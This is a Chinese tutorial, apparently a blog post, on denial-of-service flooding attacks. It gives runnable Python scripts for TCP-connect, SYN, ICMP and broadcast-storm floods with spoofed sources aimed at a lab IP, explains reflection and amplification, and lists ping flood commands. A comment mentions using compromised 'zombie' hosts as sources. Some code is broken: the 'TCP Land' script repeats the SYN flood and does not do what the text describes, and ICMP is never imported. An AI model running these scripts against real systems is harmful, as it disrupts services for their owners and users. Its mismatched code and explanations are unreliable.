文章目录
常用泛洪攻击
一、什么是泛洪
泛洪基本原理:
基于协议,完成大流量高并发操作,导致目标主机各类资源消耗过多而无法提供正常服务,基于多线程或多进程进行泛洪。(MAC地址泛洪,ARP泛洪欺骗)
泛洪所需基本条件:
- 攻击端与目标主机之间能够正常通信
- 目标主机没有配置很好地防御措施
泛洪之前,我们先引入所需要使用到的库
import random
import socket,threading
from scapy.layers.inet import IP, TCP
from scapy.sendrecv import send
二、使用socket三次握手泛洪
# 基于TCP三次链接实施泛洪
def socket_flood():
while True:
s = socket.socket()
s.connect(('192.168.230.147',3306))
if __name__ == '__main__':
for i in range(400):
t = threading.Thread(target=socket_flood)
t.start()
这个的原理我就不解释了
三、使用scapy半链接泛洪
# scapy 半连接泛洪
def scapy_flood():
while True:
random_sport = random.randint(20000,30000)
pkg = IP(dst='192.168.230.147')/TCP(sport=random_sport,dport=3306,flags='S')
send(pkg,verbose=False)
if __name__ == '__main__':
for i in range(400):
t = threading.Thread(target=scapy_flood)
t.start()
发送SYN数据包即可,但是scapy一般默认使用20号端口,因此我们最好使用随机端口,以便防止无法实现防洪的目的。(因为端口固定之后有可能出现一个端口只能进行一次TCP建立的情况)
四、使用TCP Land泛洪
# TCP Land泛洪
def TCP_Land():
while True:
random_sport = random.randint(20000,30000)
pkg = IP(dst='192.168.230.147')/TCP(sport=random_sport,dport=3306,flags='S')
send(pkg,verbose=False)
if __name__ == '__main__':
for i in range(400):
t = threading.Thread(target=TCP_Land)
t.start()
TCP Land的原理是数据包发送的源地址和目的地址都是本机
在进行TCP Land的泛洪过程中我们可以使用 tcpdump -i ens32 tcp
实时查看本机该网卡上的tcp流量。(该命令建议直接在虚拟机中运行,而不要使用XShell等工具中使用,因为其中的ssh就会一直被判定属于TCP协议簇的协议,因此会一直闪)
反射型攻击:基于网络协议的反射型攻击是一种利用网络协议的特性进行的攻击方式。在这种攻击中,攻击者不是直接向被攻击主机发送请求,而是将请求发送到一个“反射器”,例如一个开放的DNS服务器、NTP(Network Time Protocol)服务器等。这些反射器会将请求广播给被攻击主机,从而制造出大量的虚假请求。
**由于被攻击主机需要处理这些请求,因此会消耗其大量的资源,导致无法响应其他用户的请求。**这种攻击方式利用了网络协议的一些缺陷或漏洞,如某些协议对源IP不进行认证,使得攻击者能够伪造被攻击者的IP地址进行攻击。
同时,为了达到更好的攻击效果,黑客一般会选择具有放大效果的协议服务进行攻击,利用IP欺骗进行反射和放大,从而达到“四两拨千斤”的效果。
例如:
张三要攻击李四,张三构造数据包的源IP地址为王五的IP地址,然后目的ip为里斯的IP,那么这样就是王五与李四的ip一直在进行通信,没有本机ip的参与,而且还可以实现泛洪的目的
我的目的是ping主机A,但是我现在去ping B,C,D,E,F,G ,但是ping的源ip地址都设为主机A的地址
但是我们要知道,这些都只是伪装了一下ip,只要认真查很容易都可以查出来
五、使用ICMP泛洪
# ICMP泛洪
def ICMP_Flood(targetip):
while True:
payload = 'nihaosao' * 50
pkg = IP(src='192.168.230.147',dst=targetip)/ICMP()/payload * 50 # 一次性发50个数据包
send(pkg,verbose=False)
这个其实我伪造了icmp的源ip地址,但依然不影响攻击效果
六、ICMP广播风暴
# ICMP 广播风暴
def ICMP_Broadcast():
# 甚至我还可以准备一个ip字典,这些ip都是我的肉鸡ip,
while True:
ip_list = ['192.168.230.147','192.168.230.147','192.168.230.147','192.168.230.147']
ip = random.choice(ip_list)
payload = 'nihaosao' * 50
pkg = IP(src=ip,dst='192.168.230.255')/ICMP()/payload * 50 # 一次性发50个数据包
send(pkg,verbose=False)
直接发给局域网的广播地址,那么同一个网段的主机都会接收到发给该广播地址的数据包
七、使用ping命令泛洪
ping用来泛洪的命令大多都在linux系统上
设置数据包大小,比如2000B(byte)字节
-s <size> use <size> as number of data bytes to be sent
设置每个数据包之间的时间间隔
-i <interval> seconds between sending each packet
设置icmp数据包的源ip地址
ping -i 0.001 -s 2000
或者直接使用 -f (fast)参数
ping -f 192.168.230.147
八、Kali工具
wrk的安装和使用
Linux下性能测试工具 wrk 安装与使用_wrk-master 离线安装-CSDN博客
如果已经装了make工具和gcc可以直接安装wrk
-t 需要模拟的线程数
-c 需要模拟的连接数
–timeout 超时的时间
-d 测试的持续时间
Latency:响应时间
Req/Sec:每个线程每秒钟的完成的请求数
Avg:平均
Max:最大
Stdev:标准差
+/- Stdev: 正负一个标准差占比 标准差如果太大说明样本本身离散程度比较高. 有可能系统性能波动很大.